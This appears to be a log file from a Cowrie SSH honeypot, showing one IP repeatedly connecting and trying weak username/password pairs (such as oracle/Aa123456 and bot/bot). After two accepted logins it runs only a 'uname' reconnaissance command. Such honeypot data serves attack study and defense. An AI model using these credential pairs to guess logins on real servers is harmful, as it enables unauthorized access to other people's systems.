{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:41.216442Z","src_ip":"192.109.200.78","session":"cc2bf84c9dd3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Aa123456","message":"login attempt [oracle/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:41.459095Z","src_ip":"192.109.200.78","session":"cc2bf84c9dd3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:41.646362Z","src_ip":"192.109.200.78","session":"cc2bf84c9dd3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:41.649076Z","src_ip":"192.109.200.78","session":"cc2bf84c9dd3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:41.732869Z","src_ip":"192.109.200.78","session":"cc2bf84c9dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:41.736991Z","src_ip":"192.109.200.78","session":"cc2bf84c9dd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33562,"dst_ip":"10.17.0.5","dst_port":22,"session":"68a8852d3377","protocol":"ssh","message":"New connection: 192.109.200.78:33562 (10.17.0.5:22) [session: 68a8852d3377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:44.413699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:44.531685Z","src_ip":"192.109.200.78","session":"68a8852d3377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:44.534840Z","src_ip":"192.109.200.78","session":"68a8852d3377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:44.964134Z","src_ip":"192.109.200.78","session":"68a8852d3377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:46.047675Z","src_ip":"192.109.200.78","session":"68a8852d3377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33564,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1fb69ef896a","protocol":"ssh","message":"New connection: 192.109.200.78:33564 (10.17.0.5:22) [session: f1fb69ef896a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:48.000940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:48.008358Z","src_ip":"192.109.200.78","session":"f1fb69ef896a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:48.089581Z","src_ip":"192.109.200.78","session":"f1fb69ef896a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"dev","message":"login attempt [git/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:48.335057Z","src_ip":"192.109.200.78","session":"f1fb69ef896a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:49.482212Z","src_ip":"192.109.200.78","session":"f1fb69ef896a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33578,"dst_ip":"10.17.0.5","dst_port":22,"session":"0441779b00d3","protocol":"ssh","message":"New connection: 192.109.200.78:33578 (10.17.0.5:22) [session: 0441779b00d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:51.489488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:51.492320Z","src_ip":"192.109.200.78","session":"0441779b00d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:51.572026Z","src_ip":"192.109.200.78","session":"0441779b00d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:51.816684Z","src_ip":"192.109.200.78","session":"0441779b00d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:52.900270Z","src_ip":"192.109.200.78","session":"0441779b00d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51242,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a55791812dc","protocol":"ssh","message":"New connection: 192.109.200.78:51242 (10.17.0.5:22) [session: 7a55791812dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:55.138704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:55.145787Z","src_ip":"192.109.200.78","session":"7a55791812dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:55.226493Z","src_ip":"192.109.200.78","session":"7a55791812dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:55.469791Z","src_ip":"192.109.200.78","session":"7a55791812dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:55.674291Z","src_ip":"192.109.200.78","session":"7a55791812dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:55.676986Z","src_ip":"192.109.200.78","session":"7a55791812dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:55.761120Z","src_ip":"192.109.200.78","session":"7a55791812dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:55.764578Z","src_ip":"192.109.200.78","session":"7a55791812dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51254,"dst_ip":"10.17.0.5","dst_port":22,"session":"76673651fcf7","protocol":"ssh","message":"New connection: 192.109.200.78:51254 (10.17.0.5:22) [session: 76673651fcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:58.609914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:58.613435Z","src_ip":"192.109.200.78","session":"76673651fcf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:58.693609Z","src_ip":"192.109.200.78","session":"76673651fcf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"abc123","message":"login attempt [claude/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:46:58.937140Z","src_ip":"192.109.200.78","session":"76673651fcf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:00.021260Z","src_ip":"192.109.200.78","session":"76673651fcf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60394,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8ed820c566b","protocol":"ssh","message":"New connection: 192.109.200.78:60394 (10.17.0.5:22) [session: b8ed820c566b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:02.091367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:02.149405Z","src_ip":"192.109.200.78","session":"b8ed820c566b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:02.218018Z","src_ip":"192.109.200.78","session":"b8ed820c566b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:02.537185Z","src_ip":"192.109.200.78","session":"b8ed820c566b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:03.623219Z","src_ip":"192.109.200.78","session":"b8ed820c566b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60402,"dst_ip":"10.17.0.5","dst_port":22,"session":"620ce065c4c5","protocol":"ssh","message":"New connection: 192.109.200.78:60402 (10.17.0.5:22) [session: 620ce065c4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:05.569171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:05.573541Z","src_ip":"192.109.200.78","session":"620ce065c4c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:05.655485Z","src_ip":"192.109.200.78","session":"620ce065c4c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:05.901891Z","src_ip":"192.109.200.78","session":"620ce065c4c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:47:06.985891Z","src_ip":"192.109.200.78","session":"620ce065c4c5","protocol":"ssh"}
